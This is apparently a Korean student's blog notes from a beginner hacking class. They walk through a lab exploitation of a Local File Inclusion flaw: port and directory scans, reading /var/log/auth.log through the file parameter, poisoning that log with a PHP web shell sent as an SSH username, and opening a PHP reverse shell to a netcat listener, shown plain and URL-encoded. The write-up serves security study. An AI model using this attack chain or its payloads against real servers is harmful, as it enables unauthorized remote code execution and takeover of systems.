[normaltic 비기너 클래스 1기] 2023-10-11 Drill Course 4주차 내용 정리

2023. 10. 18. 01:42normaltic 비기너 클래스 1기/내용 정리

 

LFI(Local File Inclusion) 취약점

 

LFI 취약점이란 공격 대상 서버에 위치한 로컬 파일을 노출시키거나 실행시킬 수 있는 취약점이다. include() 사용 시 입력에 대한 필터링을 제대로 하지 않아 생기며 이로 인해 단순히 정보 노출을 넘어서 RCE(Remote Code Execution), XSS(Cross Site Scripting) 같은 공격으로까지 이어질 수 있다. 

 

Task 2를 이용하여 실습

 

 

nmap -sCV 10.10.157.136 > scan_res
cat scan_res

 

공격대상 시스템의 포트를 스캔한 결과 22번, 80번 포트가 열려있는 것을 확인할 수 있다. 80번 포트가 열려있으므로 웹 브라우저에 공격대상 IP 주소를 입력하자.

 

 

gobuster dir -u http://10.10.157.136 -w /usr/share/dirb/wordlists/common.txt -t 60

 

IP 주소를 입력했더니 'The Ether' 이름의 웹 페이지를 볼 수 있었다. 해당 웹 페이지의 웹 디렉터리 스캔 결과로 나온 디렉터리를 요청해 봐도 별다른 정보가 나오지 않았다.

 

 

그래서 주소창을 확인했더니 file이란 파라미터에 따라 웹 페이지가 바뀌는것을 확인하였다. 이것으로 보아 LFI 취약점을 의심해 볼 수 있다.

 

 

LFI 취약점을 확인하기 위해 Burp Suite 툴을 사용한다.

 

 

/?file=/var/log/auth.log

 

file 파라미터에 로그인 시도 시 로그를 저장하는 파일인 /var/log/auth.log 파일을 파라미터에 입력했더니 해당 내용이 출력된 것을 확인하였다. 이로서 LFI 취약점을 활용한 공격이 가능하다는 것을 확인하였다.

 

include()는 파라미터에 php코드나 파일이 들어오게 되면 그것을 바로 실행시킨 결과를 출력한다는 사실과 /var/log/auth.log 파일이 로그인 시도 시 어떤 계정을 입력하여 로그인을 시도했는지에 대한 로그를 기록한다는 사실에 입각하여 웹 쉘을 얻고 웹 쉘을 이용하여 결과적으로 리버스 쉘을 입력하여 쉘을 획득하는 시나리오를 생각해 볼 수 있다.

 

 

ssh '<?php system($_GET['cmd']); ?>'@10.10.157.136

 

먼저 /var/log/auth.log 파일에 웹 쉘 코드를 남기기 위해 ssh로 공격대상 시스템에 로그인을 시도한다. 이때 계정 이름은 웹 쉘을 실행시키는 코드를 입력한다.

 

 

로그가 제대로 기록되었는지 확인하기 위해 cmd 파라미터에 ls 명령어를 입력한 결과 현 디렉터리 파일 리스트가 출력되는 것을 확인하였다. 이제 cmd 파라미터에 php 리버스 쉘 코드를 입력하자.

 

 

nc -nlvp 7777
id

 

공격자 시스템에서 임의의 포트를 열어서 대기하고 php 리버스 쉘 코드를 입력하여 공격대상 시스템의 쉘을 획득하였다. 이때 php 리버스 쉘 코드가 다른 형태인 것을 확인할 수 있는데 웹 쉘에서는 띄어쓰기를 포함한 내용은 입력하지 못하기에 기존 리눅스에서 쓰던 코드를 URL 인코딩 과정을 거쳐서 입력하여 사용해야 한다.

 

php -r '$sock=fsockopen("10.18.30.184",7777);popen("sh <&3 >&3 2>&3", "r");'
>>> 기존 리눅스에서 쓰던 코드

php%20-r%20%27%24sock%3Dfsockopen%28%2210.18.30.184%22%2C7777%29%3Bpopen%28%22sh%20%3C%263%20%3E%263%202%3E%263%22%2C%20%22r%22%29%3B%27
>>> 웹 쉘에 입력하기 위해 URL 인코딩을 거친 코드